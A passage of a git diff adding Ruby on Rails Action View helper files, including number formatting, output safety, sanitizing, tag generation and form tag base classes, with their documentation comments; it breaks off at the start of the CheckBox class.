+ # number_to_human(12345) # => "12.3 Thousand"
+ # number_to_human(1234567) # => "1.23 Million"
+ # number_to_human(1234567890) # => "1.23 Billion"
+ # number_to_human(1234567890123) # => "1.23 Trillion"
+ # number_to_human(1234567890123456) # => "1.23 Quadrillion"
+ # number_to_human(1234567890123456789) # => "1230 Quadrillion"
+ # number_to_human(489939, precision: 2) # => "490 Thousand"
+ # number_to_human(489939, precision: 4) # => "489.9 Thousand"
+ # number_to_human(1234567, precision: 4,
+ # significant: false) # => "1.2346 Million"
+ # number_to_human(1234567, precision: 1,
+ # separator: ',',
+ # significant: false) # => "1,2 Million"
+ #
+ # number_to_human(500000000, precision: 5) # => "500 Million"
+ # number_to_human(12345012345, significant: false) # => "12.345 Billion"
+ #
+ # Non-significant zeros after the decimal separator are stripped
+ # out by default (set <tt>:strip_insignificant_zeros</tt> to
+ # +false+ to change that):
+ #
+ # number_to_human(12.00001) # => "12"
+ # number_to_human(12.00001, strip_insignificant_zeros: false) # => "12.0"
+ #
+ # ==== Custom Unit Quantifiers
+ #
+ # You can also use your own custom unit quantifiers:
+ # number_to_human(500000, units: {unit: "ml", thousand: "lt"}) # => "500 lt"
+ #
+ # If in your I18n locale you have:
+ # distance:
+ # centi:
+ # one: "centimeter"
+ # other: "centimeters"
+ # unit:
+ # one: "meter"
+ # other: "meters"
+ # thousand:
+ # one: "kilometer"
+ # other: "kilometers"
+ # billion: "gazillion-distance"
+ #
+ # Then you could do:
+ #
+ # number_to_human(543934, units: :distance) # => "544 kilometers"
+ # number_to_human(54393498, units: :distance) # => "54400 kilometers"
+ # number_to_human(54393498000, units: :distance) # => "54.4 gazillion-distance"
+ # number_to_human(343, units: :distance, precision: 1) # => "300 meters"
+ # number_to_human(1, units: :distance) # => "1 meter"
+ # number_to_human(0.34, units: :distance) # => "34 centimeters"
+ #
+ def number_to_human(number, options = {})
+ delegate_number_helper_method(:number_to_human, number, options)
+ end
+
+ private
+
+ def delegate_number_helper_method(method, number, options)
+ return unless number
+ options = escape_unsafe_options(options.symbolize_keys)
+
+ wrap_with_output_safety_handling(number, options.delete(:raise)) {
+ ActiveSupport::NumberHelper.public_send(method, number, options)
+ }
+ end
+
+ def escape_unsafe_options(options)
+ options[:format] = ERB::Util.html_escape(options[:format]) if options[:format]
+ options[:negative_format] = ERB::Util.html_escape(options[:negative_format]) if options[:negative_format]
+ options[:separator] = ERB::Util.html_escape(options[:separator]) if options[:separator]
+ options[:delimiter] = ERB::Util.html_escape(options[:delimiter]) if options[:delimiter]
+ options[:unit] = ERB::Util.html_escape(options[:unit]) if options[:unit] && !options[:unit].html_safe?
+ options[:units] = escape_units(options[:units]) if options[:units] && Hash === options[:units]
+ options
+ end
+
+ def escape_units(units)
+ Hash[units.map do |k, v|
+ [k, ERB::Util.html_escape(v)]
+ end]
+ end
+
+ def wrap_with_output_safety_handling(number, raise_on_invalid, &block)
+ valid_float = valid_float?(number)
+ raise InvalidNumberError, number if raise_on_invalid && !valid_float
+
+ formatted_number = yield
+
+ if valid_float || number.html_safe?
+ formatted_number.html_safe
+ else
+ formatted_number
+ end
+ end
+
+ def valid_float?(number)
+ !parse_float(number, false).nil?
+ end
+
+ def parse_float(number, raise_error)
+ Float(number)
+ rescue ArgumentError, TypeError
+ raise InvalidNumberError, number if raise_error
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/output_safety_helper.rb b/actionview/lib/action_view/helpers/output_safety_helper.rb
new file mode 100644
index 0000000000..1c2a400245
--- /dev/null
+++ b/actionview/lib/action_view/helpers/output_safety_helper.rb
@@ -0,0 +1,38 @@
+require 'active_support/core_ext/string/output_safety'
+
+module ActionView #:nodoc:
+ # = Action View Raw Output Helper
+ module Helpers #:nodoc:
+ module OutputSafetyHelper
+ # This method outputs without escaping a string. Since escaping tags is
+ # now default, this can be used when you don't want Rails to automatically
+ # escape tags. This is not recommended if the data is coming from the user's
+ # input.
+ #
+ # For example:
+ #
+ # raw @user.name
+ # # => 'Jimmy <alert>Tables</alert>'
+ def raw(stringish)
+ stringish.to_s.html_safe
+ end
+
+ # This method returns an HTML safe string similar to what <tt>Array#join</tt>
+ # would return. The array is flattened, and all items, including
+ # the supplied separator, are HTML escaped unless they are HTML
+ # safe, and the returned string is marked as HTML safe.
+ #
+ # safe_join(["<p>foo</p>".html_safe, "<p>bar</p>"], "<br />")
+ # # => "<p>foo</p>&lt;br /&gt;&lt;p&gt;bar&lt;/p&gt;"
+ #
+ # safe_join(["<p>foo</p>".html_safe, "<p>bar</p>".html_safe], "<br />".html_safe)
+ # # => "<p>foo</p><br /><p>bar</p>"
+ #
+ def safe_join(array, sep=$,)
+ sep = ERB::Util.unwrapped_html_escape(sep)
+
+ array.flatten.map! { |i| ERB::Util.unwrapped_html_escape(i) }.join(sep).html_safe
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/record_tag_helper.rb b/actionview/lib/action_view/helpers/record_tag_helper.rb
new file mode 100644
index 0000000000..77c3e6d394
--- /dev/null
+++ b/actionview/lib/action_view/helpers/record_tag_helper.rb
@@ -0,0 +1,108 @@
+require 'action_view/record_identifier'
+
+module ActionView
+ # = Action View Record Tag Helpers
+ module Helpers
+ module RecordTagHelper
+ include ActionView::RecordIdentifier
+
+ # Produces a wrapper DIV element with id and class parameters that
+ # relate to the specified Active Record object. Usage example:
+ #
+ # <%= div_for(@person, class: "foo") do %>
+ # <%= @person.name %>
+ # <% end %>
+ #
+ # produces:
+ #
+ # <div id="person_123" class="person foo"> Joe Bloggs </div>
+ #
+ # You can also pass an array of Active Record objects, which will then
+ # get iterated over and yield each record as an argument for the block.
+ # For example:
+ #
+ # <%= div_for(@people, class: "foo") do |person| %>
+ # <%= person.name %>
+ # <% end %>
+ #
+ # produces:
+ #
+ # <div id="person_123" class="person foo"> Joe Bloggs </div>
+ # <div id="person_124" class="person foo"> Jane Bloggs </div>
+ #
+ def div_for(record, *args, &block)
+ content_tag_for(:div, record, *args, &block)
+ end
+
+ # content_tag_for creates an HTML element with id and class parameters
+ # that relate to the specified Active Record object. For example:
+ #
+ # <%= content_tag_for(:tr, @person) do %>
+ # <td><%= @person.first_name %></td>
+ # <td><%= @person.last_name %></td>
+ # <% end %>
+ #
+ # would produce the following HTML (assuming @person is an instance of
+ # a Person object, with an id value of 123):
+ #
+ # <tr id="person_123" class="person">....</tr>
+ #
+ # If you require the HTML id attribute to have a prefix, you can specify it:
+ #
+ # <%= content_tag_for(:tr, @person, :foo) do %> ...
+ #
+ # produces:
+ #
+ # <tr id="foo_person_123" class="person">...
+ #
+ # You can also pass an array of objects which this method will loop through
+ # and yield the current object to the supplied block, reducing the need for
+ # having to iterate through the object (using <tt>each</tt>) beforehand.
+ # For example (assuming @people is an array of Person objects):
+ #
+ # <%= content_tag_for(:tr, @people) do |person| %>
+ # <td><%= person.first_name %></td>
+ # <td><%= person.last_name %></td>
+ # <% end %>
+ #
+ # produces:
+ #
+ # <tr id="person_123" class="person">...</tr>
+ # <tr id="person_124" class="person">...</tr>
+ #
+ # content_tag_for also accepts a hash of options, which will be converted to
+ # additional HTML attributes. If you specify a <tt>:class</tt> value, it will be combined
+ # with the default class name for your object. For example:
+ #
+ # <%= content_tag_for(:li, @person, class: "bar") %>...
+ #
+ # produces:
+ #
+ # <li id="person_123" class="person bar">...
+ #
+ def content_tag_for(tag_name, single_or_multiple_records, prefix = nil, options = nil, &block)
+ options, prefix = prefix, nil if prefix.is_a?(Hash)
+
+ Array(single_or_multiple_records).map do |single_record|
+ content_tag_for_single_record(tag_name, single_record, prefix, options, &block)
+ end.join("\n").html_safe
+ end
+
+ private
+
+ # Called by <tt>content_tag_for</tt> internally to render a content tag
+ # for each record.
+ def content_tag_for_single_record(tag_name, record, prefix, options, &block)
+ options = options ? options.dup : {}
+ options[:class] = [ dom_class(record, prefix), options[:class] ].compact
+ options[:id] = dom_id(record, prefix)
+
+ if block_given?
+ content_tag(tag_name, capture(record, &block), options)
+ else
+ content_tag(tag_name, "", options)
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/rendering_helper.rb b/actionview/lib/action_view/helpers/rendering_helper.rb
new file mode 100644
index 0000000000..e11670e00d
--- /dev/null
+++ b/actionview/lib/action_view/helpers/rendering_helper.rb
@@ -0,0 +1,98 @@
+module ActionView
+ module Helpers
+ # = Action View Rendering
+ #
+ # Implements methods that allow rendering from a view context.
+ # In order to use this module, all you need is to implement
+ # view_renderer that returns an ActionView::Renderer object.
+ module RenderingHelper
+ # Returns the result of a render that's dictated by the options hash. The primary options are:
+ #
+ # * <tt>:partial</tt> - See <tt>ActionView::PartialRenderer</tt>.
+ # * <tt>:file</tt> - Renders an explicit template file (this used to be the old default), add :locals to pass in those.
+ # * <tt>:inline</tt> - Renders an inline template similar to how it's done in the controller.
+ # * <tt>:text</tt> - Renders the text passed in out.
+ # * <tt>:plain</tt> - Renders the text passed in out. Setting the content
+ # type as <tt>text/plain</tt>.
+ # * <tt>:html</tt> - Renders the HTML safe string passed in out, otherwise
+ # performs HTML escape on the string first. Setting the content type as
+ # <tt>text/html</tt>.
+ # * <tt>:body</tt> - Renders the text passed in, and inherits the content
+ # type of <tt>text/html</tt> from <tt>ActionDispatch::Response</tt>
+ # object.
+ #
+ # If no options hash is passed or :update specified, the default is to render a partial and use the second parameter
+ # as the locals hash.
+ def render(options = {}, locals = {}, &block)
+ case options
+ when Hash
+ if block_given?
+ view_renderer.render_partial(self, options.merge(:partial => options[:layout]), &block)
+ else
+ view_renderer.render(self, options)
+ end
+ else
+ view_renderer.render_partial(self, :partial => options, :locals => locals)
+ end
+ end
+
+ # Overwrites _layout_for in the context object so it supports the case a block is
+ # passed to a partial. Returns the contents that are yielded to a layout, given a
+ # name or a block.
+ #
+ # You can think of a layout as a method that is called with a block. If the user calls
+ # <tt>yield :some_name</tt>, the block, by default, returns <tt>content_for(:some_name)</tt>.
+ # If the user calls simply +yield+, the default block returns <tt>content_for(:layout)</tt>.
+ #
+ # The user can override this default by passing a block to the layout:
+ #
+ # # The template
+ # <%= render layout: "my_layout" do %>
+ # Content
+ # <% end %>
+ #
+ # # The layout
+ # <html>
+ # <%= yield %>
+ # </html>
+ #
+ # In this case, instead of the default block, which would return <tt>content_for(:layout)</tt>,
+ # this method returns the block that was passed in to <tt>render :layout</tt>, and the response
+ # would be
+ #
+ # <html>
+ # Content
+ # </html>
+ #
+ # Finally, the block can take block arguments, which can be passed in by +yield+:
+ #
+ # # The template
+ # <%= render layout: "my_layout" do |customer| %>
+ # Hello <%= customer.name %>
+ # <% end %>
+ #
+ # # The layout
+ # <html>
+ # <%= yield Struct.new(:name).new("David") %>
+ # </html>
+ #
+ # In this case, the layout would receive the block passed into <tt>render :layout</tt>,
+ # and the struct specified would be passed into the block as an argument. The result
+ # would be
+ #
+ # <html>
+ # Hello David
+ # </html>
+ #
+ def _layout_for(*args, &block)
+ name = args.first
+
+ if block && !name.is_a?(Symbol)
+ capture(*args, &block)
+ else
+ super
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/sanitize_helper.rb b/actionview/lib/action_view/helpers/sanitize_helper.rb
new file mode 100644
index 0000000000..7cb55cc214
--- /dev/null
+++ b/actionview/lib/action_view/helpers/sanitize_helper.rb
@@ -0,0 +1,197 @@
+require 'active_support/core_ext/object/try'
+require 'active_support/deprecation'
+require 'rails-html-sanitizer'
+
+module ActionView
+ # = Action View Sanitize Helpers
+ module Helpers
+ # The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements.
+ # These helper methods extend Action View making them callable within your template files.
+ module SanitizeHelper
+ extend ActiveSupport::Concern
+ # This +sanitize+ helper will HTML encode all tags and strip all attributes that
+ # aren't specifically allowed.
+ #
+ # It also strips href/src tags with invalid protocols, like javascript: especially.
+ # It does its best to counter any tricks that hackers may use, like throwing in
+ # unicode/ascii/hex values to get past the javascript: filters. Check out
+ # the extensive test suite.
+ #
+ # <%= sanitize @article.body %>
+ #
+ # You can add or remove tags/attributes if you want to customize it a bit.
+ # See ActionView::Base for full docs on the available options. You can add
+ # tags/attributes for single uses of +sanitize+ by passing either the
+ # <tt>:attributes</tt> or <tt>:tags</tt> options:
+ #
+ # Normal Use
+ #
+ # <%= sanitize @article.body %>
+ #
+ # Custom Use - Custom Scrubber
+ # (supply a Loofah::Scrubber that does the sanitization)
+ #
+ # scrubber can either wrap a block:
+ # scrubber = Loofah::Scrubber.new do |node|
+ # node.text = "dawn of cats"
+ # end
+ #
+ # or be a subclass of Loofah::Scrubber which responds to scrub:
+ # class KittyApocalypse < Loofah::Scrubber
+ # def scrub(node)
+ # node.text = "dawn of cats"
+ # end
+ # end
+ # scrubber = KittyApocalypse.new
+ #
+ # <%= sanitize @article.body, scrubber: scrubber %>
+ #
+ # A custom scrubber takes precedence over custom tags and attributes
+ # Learn more about scrubbers here: https://github.com/flavorjones/loofah
+ #
+ # Custom Use - tags and attributes
+ # (only the mentioned tags and attributes are allowed, nothing else)
+ #
+ # <%= sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style) %>
+ #
+ # Add table tags to the default allowed tags
+ #
+ # class Application < Rails::Application
+ # config.action_view.sanitized_allowed_tags = ['table', 'tr', 'td']
+ # end
+ #
+ # Remove tags to the default allowed tags
+ #
+ # class Application < Rails::Application
+ # config.after_initialize do
+ # ActionView::Base.sanitized_allowed_tags.delete 'div'
+ # end
+ # end
+ #
+ # Change allowed default attributes
+ #
+ # class Application < Rails::Application
+ # config.action_view.sanitized_allowed_attributes = ['id', 'class', 'style']
+ # end
+ #
+ # Please note that sanitizing user-provided text does not guarantee that the
+ # resulting markup is valid (conforming to a document type) or even well-formed.
+ # The output may still contain e.g. unescaped '<', '>', '&' characters and
+ # confuse browsers.
+ #
+ def sanitize(html, options = {})
+ self.class.white_list_sanitizer.sanitize(html, options).try(:html_safe)
+ end
+
+ # Sanitizes a block of CSS code. Used by +sanitize+ when it comes across a style attribute.
+ def sanitize_css(style)
+ self.class.white_list_sanitizer.sanitize_css(style)
+ end
+
+ # Strips all HTML tags from the +html+, including comments. This uses
+ # Nokogiri for tokenization (via Loofah) and so its HTML parsing ability
+ # is limited by that of Nokogiri.
+ #
+ # strip_tags("Strip <i>these</i> tags!")
+ # # => Strip these tags!
+ #
+ # strip_tags("<b>Bold</b> no more! <a href='more.html'>See more here</a>...")
+ # # => Bold no more! See more here...
+ #
+ # strip_tags("<div id='top-bar'>Welcome to my website!</div>")
+ # # => Welcome to my website!
+ def strip_tags(html)
+ self.class.full_sanitizer.sanitize(html)
+ end
+
+ # Strips all link tags from +text+ leaving just the link text.
+ #
+ # strip_links('<a href="http://www.rubyonrails.org">Ruby on Rails</a>')
+ # # => Ruby on Rails
+ #
+ # strip_links('Please e-mail me at <a href="mailto:me@email.com">me@email.com</a>.')
+ # # => Please e-mail me at me@email.com.
+ #
+ # strip_links('Blog: <a href="http://www.myblog.com/" class="nav" target=\"_blank\">Visit</a>.')
+ # # => Blog: Visit.
+ def strip_links(html)
+ self.class.link_sanitizer.sanitize(html)
+ end
+
+ module ClassMethods #:nodoc:
+ attr_writer :full_sanitizer, :link_sanitizer, :white_list_sanitizer
+
+ # Vendors the full, link and white list sanitizers.
+ # Provided strictly for compabitility and can be removed in Rails 5.
+ def sanitizer_vendor
+ Rails::Html::Sanitizer
+ end
+
+ def sanitized_allowed_tags
+ sanitizer_vendor.white_list_sanitizer.allowed_tags
+ end
+
+ def sanitized_allowed_attributes
+ sanitizer_vendor.white_list_sanitizer.allowed_attributes
+ end
+
+ # Gets the Rails::Html::FullSanitizer instance used by +strip_tags+. Replace with
+ # any object that responds to +sanitize+.
+ #
+ # class Application < Rails::Application
+ # config.action_view.full_sanitizer = MySpecialSanitizer.new
+ # end
+ #
+ def full_sanitizer
+ @full_sanitizer ||= sanitizer_vendor.full_sanitizer.new
+ end
+
+ # Gets the Rails::Html::LinkSanitizer instance used by +strip_links+.
+ # Replace with any object that responds to +sanitize+.
+ #
+ # class Application < Rails::Application
+ # config.action_view.link_sanitizer = MySpecialSanitizer.new
+ # end
+ #
+ def link_sanitizer
+ @link_sanitizer ||= sanitizer_vendor.link_sanitizer.new
+ end
+
+ # Gets the Rails::Html::WhiteListSanitizer instance used by sanitize and +sanitize_css+.
+ # Replace with any object that responds to +sanitize+.
+ #
+ # class Application < Rails::Application
+ # config.action_view.white_list_sanitizer = MySpecialSanitizer.new
+ # end
+ #
+ def white_list_sanitizer
+ @white_list_sanitizer ||= sanitizer_vendor.white_list_sanitizer.new
+ end
+
+ ##
+ # :method: sanitized_allowed_tags=
+ #
+ # :call-seq: sanitized_allowed_tags=(tags)
+ #
+ # Replaces the allowed tags for the +sanitize+ helper.
+ #
+ # class Application < Rails::Application
+ # config.action_view.sanitized_allowed_tags = ['table', 'tr', 'td']
+ # end
+ #
+
+ ##
+ # :method: sanitized_allowed_attributes=
+ #
+ # :call-seq: sanitized_allowed_attributes=(attributes)
+ #
+ # Replaces the allowed HTML attributes for the +sanitize+ helper.
+ #
+ # class Application < Rails::Application
+ # config.action_view.sanitized_allowed_attributes = ['onclick', 'longdesc']
+ # end
+ #
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tag_helper.rb b/actionview/lib/action_view/helpers/tag_helper.rb
new file mode 100644
index 0000000000..a87c223a71
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tag_helper.rb
@@ -0,0 +1,188 @@
+require 'active_support/core_ext/string/output_safety'
+require 'set'
+
+module ActionView
+ # = Action View Tag Helpers
+ module Helpers #:nodoc:
+ # Provides methods to generate HTML tags programmatically when you can't use
+ # a Builder. By default, they output XHTML compliant tags.
+ module TagHelper
+ extend ActiveSupport::Concern
+ include CaptureHelper
+ include OutputSafetyHelper
+
+ BOOLEAN_ATTRIBUTES = %w(disabled readonly multiple checked autobuffer
+ autoplay controls loop selected hidden scoped async
+ defer reversed ismap seamless muted required
+ autofocus novalidate formnovalidate open pubdate
+ itemscope allowfullscreen default inert sortable
+ truespeed typemustmatch).to_set
+
+ BOOLEAN_ATTRIBUTES.merge(BOOLEAN_ATTRIBUTES.map(&:to_sym))
+
+ TAG_PREFIXES = ['aria', 'data', :aria, :data].to_set
+
+ PRE_CONTENT_STRINGS = {
+ :textarea => "\n"
+ }
+
+ # Returns an empty HTML tag of type +name+ which by default is XHTML
+ # compliant. Set +open+ to true to create an open tag compatible
+ # with HTML 4.0 and below. Add HTML attributes by passing an attributes
+ # hash to +options+. Set +escape+ to false to disable attribute value
+ # escaping.
+ #
+ # ==== Options
+ # You can use symbols or strings for the attribute names.
+ #
+ # Use +true+ with boolean attributes that can render with no value, like
+ # +disabled+ and +readonly+.
+ #
+ # HTML5 <tt>data-*</tt> attributes can be set with a single +data+ key
+ # pointing to a hash of sub-attributes.
+ #
+ # To play nicely with JavaScript conventions sub-attributes are dasherized.
+ # For example, a key +user_id+ would render as <tt>data-user-id</tt> and
+ # thus accessed as <tt>dataset.userId</tt>.
+ #
+ # Values are encoded to JSON, with the exception of strings, symbols and
+ # BigDecimals.
+ # This may come in handy when using jQuery's HTML5-aware <tt>.data()</tt>
+ # from 1.4.3.
+ #
+ # ==== Examples
+ # tag("br")
+ # # => <br />
+ #
+ # tag("br", nil, true)
+ # # => <br>
+ #
+ # tag("input", type: 'text', disabled: true)
+ # # => <input type="text" disabled="disabled" />
+ #
+ # tag("input", type: 'text', class: ["strong", "highlight"])
+ # # => <input class="strong highlight" type="text" />
+ #
+ # tag("img", src: "open & shut.png")
+ # # => <img src="open &amp; shut.png" />
+ #
+ # tag("img", {src: "open &amp; shut.png"}, false, false)
+ # # => <img src="open &amp; shut.png" />
+ #
+ # tag("div", data: {name: 'Stephen', city_state: %w(Chicago IL)})
+ # # => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
+ def tag(name, options = nil, open = false, escape = true)
+ "<#{name}#{tag_options(options, escape) if options}#{open ? ">" : " />"}".html_safe
+ end
+
+ # Returns an HTML block tag of type +name+ surrounding the +content+. Add
+ # HTML attributes by passing an attributes hash to +options+.
+ # Instead of passing the content as an argument, you can also use a block
+ # in which case, you pass your +options+ as the second parameter.
+ # Set escape to false to disable attribute value escaping.
+ #
+ # ==== Options
+ # The +options+ hash can be used with attributes with no value like (<tt>disabled</tt> and
+ # <tt>readonly</tt>), which you can give a value of true in the +options+ hash. You can use
+ # symbols or strings for the attribute names.
+ #
+ # ==== Examples
+ # content_tag(:p, "Hello world!")
+ # # => <p>Hello world!</p>
+ # content_tag(:div, content_tag(:p, "Hello world!"), class: "strong")
+ # # => <div class="strong"><p>Hello world!</p></div>
+ # content_tag(:div, "Hello world!", class: ["strong", "highlight"])
+ # # => <div class="strong highlight">Hello world!</div>
+ # content_tag("select", options, multiple: true)
+ # # => <select multiple="multiple">...options...</select>
+ #
+ # <%= content_tag :div, class: "strong" do -%>
+ # Hello world!
+ # <% end -%>
+ # # => <div class="strong">Hello world!</div>
+ def content_tag(name, content_or_options_with_block = nil, options = nil, escape = true, &block)
+ if block_given?
+ options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
+ content_tag_string(name, capture(&block), options, escape)
+ else
+ content_tag_string(name, content_or_options_with_block, options, escape)
+ end
+ end
+
+ # Returns a CDATA section with the given +content+. CDATA sections
+ # are used to escape blocks of text containing characters which would
+ # otherwise be recognized as markup. CDATA sections begin with the string
+ # <tt><![CDATA[</tt> and end with (and may not contain) the string <tt>]]></tt>.
+ #
+ # cdata_section("<hello world>")
+ # # => <![CDATA[<hello world>]]>
+ #
+ # cdata_section(File.read("hello_world.txt"))
+ # # => <![CDATA[<hello from a text file]]>
+ #
+ # cdata_section("hello]]>world")
+ # # => <![CDATA[hello]]]]><![CDATA[>world]]>
+ def cdata_section(content)
+ splitted = content.to_s.gsub(/\]\]\>/, ']]]]><![CDATA[>')
+ "<![CDATA[#{splitted}]]>".html_safe
+ end
+
+ # Returns an escaped version of +html+ without affecting existing escaped entities.
+ #
+ # escape_once("1 < 2 &amp; 3")
+ # # => "1 &lt; 2 &amp; 3"
+ #
+ # escape_once("&lt;&lt; Accept & Checkout")
+ # # => "&lt;&lt; Accept &amp; Checkout"
+ def escape_once(html)
+ ERB::Util.html_escape_once(html)
+ end
+
+ private
+
+ def content_tag_string(name, content, options, escape = true)
+ tag_options = tag_options(options, escape) if options
+ content = ERB::Util.unwrapped_html_escape(content) if escape
+ "<#{name}#{tag_options}>#{PRE_CONTENT_STRINGS[name.to_sym]}#{content}</#{name}>".html_safe
+ end
+
+ def tag_options(options, escape = true)
+ return if options.blank?
+ attrs = []
+ options.each_pair do |key, value|
+ if TAG_PREFIXES.include?(key) && value.is_a?(Hash)
+ value.each_pair do |k, v|
+ attrs << prefix_tag_option(key, k, v, escape)
+ end
+ elsif BOOLEAN_ATTRIBUTES.include?(key)
+ attrs << boolean_tag_option(key) if value
+ elsif !value.nil?
+ attrs << tag_option(key, value, escape)
+ end
+ end
+ " #{attrs * ' '}" unless attrs.empty?
+ end
+
+ def prefix_tag_option(prefix, key, value, escape)
+ key = "#{prefix}-#{key.to_s.dasherize}"
+ unless value.is_a?(String) || value.is_a?(Symbol) || value.is_a?(BigDecimal)
+ value = value.to_json
+ end
+ tag_option(key, value, escape)
+ end
+
+ def boolean_tag_option(key)
+ %(#{key}="#{key}")
+ end
+
+ def tag_option(key, value, escape)
+ if value.is_a?(Array)
+ value = escape ? safe_join(value, " ") : value.join(" ")
+ else
+ value = escape ? ERB::Util.unwrapped_html_escape(value) : value
+ end
+ %(#{key}="#{value}")
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags.rb b/actionview/lib/action_view/helpers/tags.rb
new file mode 100644
index 0000000000..45c75d10c0
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags.rb
@@ -0,0 +1,41 @@
+module ActionView
+ module Helpers
+ module Tags #:nodoc:
+ extend ActiveSupport::Autoload
+
+ eager_autoload do
+ autoload :Base
+ autoload :CheckBox
+ autoload :CollectionCheckBoxes
+ autoload :CollectionRadioButtons
+ autoload :CollectionSelect
+ autoload :ColorField
+ autoload :DateField
+ autoload :DateSelect
+ autoload :DatetimeField
+ autoload :DatetimeLocalField
+ autoload :DatetimeSelect
+ autoload :EmailField
+ autoload :FileField
+ autoload :GroupedCollectionSelect
+ autoload :HiddenField
+ autoload :Label
+ autoload :MonthField
+ autoload :NumberField
+ autoload :PasswordField
+ autoload :RadioButton
+ autoload :RangeField
+ autoload :SearchField
+ autoload :Select
+ autoload :TelField
+ autoload :TextArea
+ autoload :TextField
+ autoload :TimeField
+ autoload :TimeSelect
+ autoload :TimeZoneSelect
+ autoload :UrlField
+ autoload :WeekField
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/base.rb b/actionview/lib/action_view/helpers/tags/base.rb
new file mode 100644
index 0000000000..f8abb19698
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/base.rb
@@ -0,0 +1,148 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class Base # :nodoc:
+ include Helpers::ActiveModelInstanceTag, Helpers::TagHelper, Helpers::FormTagHelper
+ include FormOptionsHelper
+
+ attr_reader :object
+
+ def initialize(object_name, method_name, template_object, options = {})
+ @object_name, @method_name = object_name.to_s.dup, method_name.to_s.dup
+ @template_object = template_object
+
+ @object_name.sub!(/\[\]$/,"") || @object_name.sub!(/\[\]\]$/,"]")
+ @object = retrieve_object(options.delete(:object))
+ @options = options
+ @auto_index = retrieve_autoindex(Regexp.last_match.pre_match) if Regexp.last_match
+ end
+
+ # This is what child classes implement.
+ def render
+ raise NotImplementedError, "Subclasses must implement a render method"
+ end
+
+ private
+
+ def value(object)
+ object.public_send @method_name if object
+ end
+
+ def value_before_type_cast(object)
+ unless object.nil?
+ method_before_type_cast = @method_name + "_before_type_cast"
+
+ object.respond_to?(method_before_type_cast) ?
+ object.send(method_before_type_cast) :
+ value(object)
+ end
+ end
+
+ def retrieve_object(object)
+ if object
+ object
+ elsif @template_object.instance_variable_defined?("@#{@object_name}")
+ @template_object.instance_variable_get("@#{@object_name}")
+ end
+ rescue NameError
+ # As @object_name may contain the nested syntax (item[subobject]) we need to fallback to nil.
+ nil
+ end
+
+ def retrieve_autoindex(pre_match)
+ object = self.object || @template_object.instance_variable_get("@#{pre_match}")
+ if object && object.respond_to?(:to_param)
+ object.to_param
+ else
+ raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
+ end
+ end
+
+ def add_default_name_and_id_for_value(tag_value, options)
+ if tag_value.nil?
+ add_default_name_and_id(options)
+ else
+ specified_id = options["id"]
+ add_default_name_and_id(options)
+
+ if specified_id.blank? && options["id"].present?
+ options["id"] += "_#{sanitized_value(tag_value)}"
+ end
+ end
+ end
+
+ def add_default_name_and_id(options)
+ if options.has_key?("index")
+ options["name"] ||= options.fetch("name"){ tag_name_with_index(options["index"], options["multiple"]) }
+ options["id"] = options.fetch("id"){ tag_id_with_index(options["index"]) }
+ options.delete("index")
+ elsif defined?(@auto_index)
+ options["name"] ||= options.fetch("name"){ tag_name_with_index(@auto_index, options["multiple"]) }
+ options["id"] = options.fetch("id"){ tag_id_with_index(@auto_index) }
+ else
+ options["name"] ||= options.fetch("name"){ tag_name(options["multiple"]) }
+ options["id"] = options.fetch("id"){ tag_id }
+ end
+
+ options["id"] = [options.delete('namespace'), options["id"]].compact.join("_").presence
+ end
+
+ def tag_name(multiple = false)
+ "#{@object_name}[#{sanitized_method_name}]#{"[]" if multiple}"
+ end
+
+ def tag_name_with_index(index, multiple = false)
+ "#{@object_name}[#{index}][#{sanitized_method_name}]#{"[]" if multiple}"
+ end
+
+ def tag_id
+ "#{sanitized_object_name}_#{sanitized_method_name}"
+ end
+
+ def tag_id_with_index(index)
+ "#{sanitized_object_name}_#{index}_#{sanitized_method_name}"
+ end
+
+ def sanitized_object_name
+ @sanitized_object_name ||= @object_name.gsub(/\]\[|[^-a-zA-Z0-9:.]/, "_").sub(/_$/, "")
+ end
+
+ def sanitized_method_name
+ @sanitized_method_name ||= @method_name.sub(/\?$/,"")
+ end
+
+ def sanitized_value(value)
+ value.to_s.gsub(/\s/, "_").gsub(/[^-\w]/, "").downcase
+ end
+
+ def select_content_tag(option_tags, options, html_options)
+ html_options = html_options.stringify_keys
+ add_default_name_and_id(html_options)
+ options[:include_blank] ||= true unless options[:prompt] || select_not_required?(html_options)
+ value = options.fetch(:selected) { value(object) }
+ select = content_tag("select", add_options(option_tags, options, value), html_options)
+
+ if html_options["multiple"] && options.fetch(:include_hidden, true)
+ tag("input", :disabled => html_options["disabled"], :name => html_options["name"], :type => "hidden", :value => "") + select
+ else
+ select
+ end
+ end
+
+ def select_not_required?(html_options)
+ !html_options["required"] || html_options["multiple"] || html_options["size"].to_i > 1
+ end
+
+ def add_options(option_tags, options, value = nil)
+ if options[:include_blank]
+ option_tags = content_tag_string('option', options[:include_blank].kind_of?(String) ? options[:include_blank] : nil, :value => '') + "\n" + option_tags
+ end
+ if value.blank? && options[:prompt]
+ option_tags = content_tag_string('option', prompt_text(options[:prompt]), :value => '') + "\n" + option_tags
+ end
+ option_tags
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/check_box.rb b/actionview/lib/action_view/helpers/tags/check_box.rb
new file mode 100644
index 0000000000..6d51f2629a
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/check_box.rb
@@ -0,0 +1,64 @@
+require 'action_view/helpers/tags/checkable'
+
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class CheckBox < Base #:nodoc:
+ include Checkable
+
+ def initialize(object_name, method_name, template_object, checked_value, unchecked_value, options)
